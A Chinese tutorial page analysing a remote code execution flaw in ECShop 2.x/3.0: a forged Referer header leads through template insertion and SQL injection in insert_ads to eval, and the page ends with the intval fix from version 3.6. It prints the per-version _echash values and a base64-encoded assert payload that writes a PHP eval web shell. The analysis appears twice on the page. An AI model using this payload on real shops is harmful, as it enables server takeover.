您现在的位置是：首页 > cms教程 > ecshop商城教程ecshop商城教程
ecshop2.x 3.0执行漏洞分析
雷亚思2025-01-21 15:42:20ecshop商城教程已有6人查阅
导读0×00 前言ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。0×01 漏洞原理
ECShop 没有对 $GLOBAL[‘_SERVER’][
0×00 前言
ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。0×01 漏洞原理
ECShop 没有对 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 变量进行验证，导致用户可以将任意代码插入的user_passport.dwt模板中，随后insert_mod根据模板内容动态执行相应的函数，用户插入恶意代码导致模板动态执行了lib_insert下的 insert_ads 方法，通过SQL注入，返回构造的执行代码，致使后面调用cls_template模板类的fetch函数，成功执行恶意代码。0×02 环境搭建
IDE : PHPStorm
PHP: 5.4
ECshop 3.0
ECShop 2.7.30×03 分析过程整体功能
首先过一下整体的功能，进入到user.php中。
正常情况下，程序会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 赋值给了$back_act，接着通过cls_template模板类的assign和display进行赋值和和传值给了user_passport.dwt页面模板；这时候user_passport.dwt页面模板的内容是这样子的。
进入到$smarty->display中，通过inser_mod的分割和反序列之后动态调用函数获得购物信息和会员信息，将会默认执行user_passport.dw上面的两个函数，即lib_insert函数类下的insert_cart_info和insert_member_info函数。insert_cart_info函数//调用购物信息
insert_member_info函数 //调用会员信息
user_passport.dw模板：
inser_mod函数： 开始分析
在user.php 中的通过执行登陆操作的时候，将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改为我们的代码：
这时候$back_act的值就是我们篡改之后的REFERER值了，之后程序会继续执行：$smarty->assign('back_act', $back_act); //赋值
$smarty->display('user_passport.dwt'); //传值到模板上
经过assign，display的赋值和传值之后，这时候user_passport.dwt模板上的back_act值是这样的：
在观察堆栈参数的时候，可以观察到this->_echash 的值跟我们的Payload的值是一样的，这是ECSHOP的固定的HASH值，2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953，所以所用的Payload也不一样。
进入到display函数中，会执行fetch函数，获得页面模板内容；$out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也就是user_passport.dwt的内容
接着按照_echash的值也就是固定hash值进行分割；
分割完之后程序会先执行两个默认函数，然后才执行我们的代码，继续执行insert_mod函数 。$k[$key] = $this->insert_mod($val);
跟进，可以看到我们输入的字符串根据“|”进行了分割，并分别赋值给了$fun和$para所以之后的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)
到了return $fun($para);这里，将会执行lib_insert动态函数类下的 insert_ads($para)函数。
跟进，可以看到这里执行了SQL语句，而$arr[‘id’]和$arr[‘num’]这两个参数正是我们传进来的数组中的内容，参数可控，从而导致了注入。
这时候在数据库中，执行的语句为： 可以看到数据库的position_id和position_style字段分别被union select 查询覆盖为了'/* 和 查询结束之后,根据$position_style的值执行了cls_template模板类的fetch函数。$val = $GLOBALS[‘smarty’]->fetch($position_style); //执行了smarty的fetch函数
跟进，看到这里，这里最终执行了恶意代码。$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最终执行了语句
看一下内部的字符串处理，传入filename的值为：” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”
然后使用substr对filenname进行切割，接着进入到$this->fetch_str中，可以看到fetch_str函数的返回内容为<?php echo xx>格式的。
在跟入到$this->get_val中，执行了$p = $this->make_var($val); ，跟入到make_var函数中。
字符串处理之后返回的值为： 拼接在一起，之后返回的数据为： 从而最终导致了代码执行。
0×04 代码执行的调用链
0×05 修复方案
在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);
ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。0×01 漏洞原理
ECShop 没有对 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 变量进行验证，导致用户可以将任意代码插入的user_passport.dwt模板中，随后insert_mod根据模板内容动态执行相应的函数，用户插入恶意代码导致模板动态执行了lib_insert下的 insert_ads 方法，通过SQL注入，返回构造的执行代码，致使后面调用cls_template模板类的fetch函数，成功执行恶意代码。0×02 环境搭建
IDE : PHPStorm
PHP: 5.4
ECshop 3.0
ECShop 2.7.30×03 分析过程整体功能
首先过一下整体的功能，进入到user.php中。
正常情况下，程序会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 赋值给了$back_act，接着通过cls_template模板类的assign和display进行赋值和和传值给了user_passport.dwt页面模板；这时候user_passport.dwt页面模板的内容是这样子的。
进入到$smarty->display中，通过inser_mod的分割和反序列之后动态调用函数获得购物信息和会员信息，将会默认执行user_passport.dw上面的两个函数，即lib_insert函数类下的insert_cart_info和insert_member_info函数。insert_cart_info函数//调用购物信息
insert_member_info函数 //调用会员信息
user_passport.dw模板：
inser_mod函数： 开始分析
在user.php 中的通过执行登陆操作的时候，将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改为我们的代码：
这时候$back_act的值就是我们篡改之后的REFERER值了，之后程序会继续执行：$smarty->assign('back_act', $back_act); //赋值
$smarty->display('user_passport.dwt'); //传值到模板上
经过assign，display的赋值和传值之后，这时候user_passport.dwt模板上的back_act值是这样的：
在观察堆栈参数的时候，可以观察到this->_echash 的值跟我们的Payload的值是一样的，这是ECSHOP的固定的HASH值，2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953，所以所用的Payload也不一样。
进入到display函数中，会执行fetch函数，获得页面模板内容；$out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也就是user_passport.dwt的内容
接着按照_echash的值也就是固定hash值进行分割；
分割完之后程序会先执行两个默认函数，然后才执行我们的代码，继续执行insert_mod函数 。$k[$key] = $this->insert_mod($val);
跟进，可以看到我们输入的字符串根据“|”进行了分割，并分别赋值给了$fun和$para所以之后的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)
到了return $fun($para);这里，将会执行lib_insert动态函数类下的 insert_ads($para)函数。
跟进，可以看到这里执行了SQL语句，而$arr[‘id’]和$arr[‘num’]这两个参数正是我们传进来的数组中的内容，参数可控，从而导致了注入。
这时候在数据库中，执行的语句为： 可以看到数据库的position_id和position_style字段分别被union select 查询覆盖为了'/* 和 查询结束之后,根据$position_style的值执行了cls_template模板类的fetch函数。$val = $GLOBALS[‘smarty’]->fetch($position_style); //执行了smarty的fetch函数
跟进，看到这里，这里最终执行了恶意代码。$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最终执行了语句
看一下内部的字符串处理，传入filename的值为：” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”
然后使用substr对filenname进行切割，接着进入到$this->fetch_str中，可以看到fetch_str函数的返回内容为<?php echo xx>格式的。
在跟入到$this->get_val中，执行了$p = $this->make_var($val); ，跟入到make_var函数中。
字符串处理之后返回的值为： 拼接在一起，之后返回的数据为： 从而最终导致了代码执行。
0×04 代码执行的调用链
0×05 修复方案
在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);
本文标签：
很赞哦！ (0)
| 暂无内容 |
| 暂无内容 |
相关文章
- PHPCMS漏洞authkey生成算法问题导致authkey泄露
- PHPCMS漏洞文件poster.php修复方法
- PHPCMS常见漏洞补丁修复方法
- PHPCMSv9漏洞宽字节注入的修复方法
- 易优cms后台RCE任意文件上传漏洞
- Wordpress漏洞分析和解决方法
- wordpress 4.6以上版本任意命令执行漏洞的修复方法
- Wordpress4.6任意命令执行漏洞修复方法
- ecshop后台0day漏洞原理和利用方法
- CVE-2020-25213 WordPress远程代码执行漏洞修复方法
- ecshop漏洞/goods.php SQL Injection Vul修复方法
- ECSHOP漏洞\admin\edit_languages.php GETSHELL Based On Inject
| 暂无内容 |
| 暂无内容 |
随机图文
ecshop配置文件config怎么填
1. 配置文件位置：/upload/data/config.php。2. 配置解析，<?php// 主机地址
ecshop订单页面显示商品缩略图的实现方法
Ecshop购物流程 checkout（结算）步骤，不显示商品缩略图；购物是否显示商品缩略图，后台商店设置可以控制。稍稍改造一下，可以让checkout（结算）步骤，显示商品缩略图。
ecshop商品页怎么显示品牌LOGO
问：ecshop商品详细页面的商品品牌默认是以文字形式显示的，能否改成以LOGO形式显示。答：当然可以，下面看教程。
ecshop商城Smarty模板
目前市面上有很多针对PHP的MVC模板，但Smarty无疑是在功能和速度上处于绝对领先地位的。MVC(Model-View-Controller)模型-视图-控制器，相信大家对这个概念不陌生，老李也就不详细
| 留言与评论 （共有 0 条评论） |
